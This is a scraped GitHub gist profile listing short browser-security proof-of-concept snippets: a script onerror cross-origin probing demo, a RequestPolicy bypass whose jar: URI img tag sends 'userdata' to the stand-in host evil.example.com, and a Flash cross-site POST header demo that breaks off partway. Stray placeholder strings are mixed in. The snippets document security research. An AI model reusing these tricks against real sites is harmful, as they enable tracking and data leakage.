Skip to content

Instantly share code, notes, and snippets.

View JordanMilne's full-sized avatar

Jordan Milne JordanMilne

View GitHub Profile
@JordanMilne
JordanMilne / cookie_jar_tests.json
Created September 14, 2015 18:01
Comparing the cookie parsing behaviours of various HTTP services
aesKeyStringFOOBAR
@JordanMilne
JordanMilne / gist:6459317
Created September 6, 2013 03:52
Demonstrates abuse of script error handling
<html>
<body>
<script src="http://google.com" onload="javascript:alert('google loaded')" onerror="javascript:alert('google failed')"></script>
<script src="http://doesntexist.example.com" onload="javascript:alert('universe exploded')" onerror="javascript:alert('doesntexist failed to load as expected')"></script>
</body>
</html>
@JordanMilne
JordanMilne / gist:7704136
Created November 29, 2013 10:48
Demonstration of a RequestPolicy bypass using jar: URIs
<img src="jar:http://evil.example.com/logger?userdata=whatever!/foobar" />
<script src="http://google.com" onload="javascript:alert('google loaded')" onerror="javascript:alert('google failed')"></script>
@JordanMilne
JordanMilne / content-type.mxml
Created January 16, 2014 21:09
setting the Content-Type header with flash
<?xml version="1.0"?>
<s:Application xmlns:fx="http://ns.adobe.com/mxml/2009" xmlns:mx="library://ns.adobe.com/flex/mx" xmlns:s="library://ns.adobe.com/flex/spark" >
<fx:Script><![CDATA[
import flash.net.*;
public function sendStuff():void
{
var r:URLRequest = new URLRequest('http://www.youtube.com/foo');
r.method = 'POST';
r.data = '{wow what a great post body}';
aesKeyStringFOOBARBAZQUUXquuxy
aaaa
baz
AGOOTTESTINGSTRING1
foo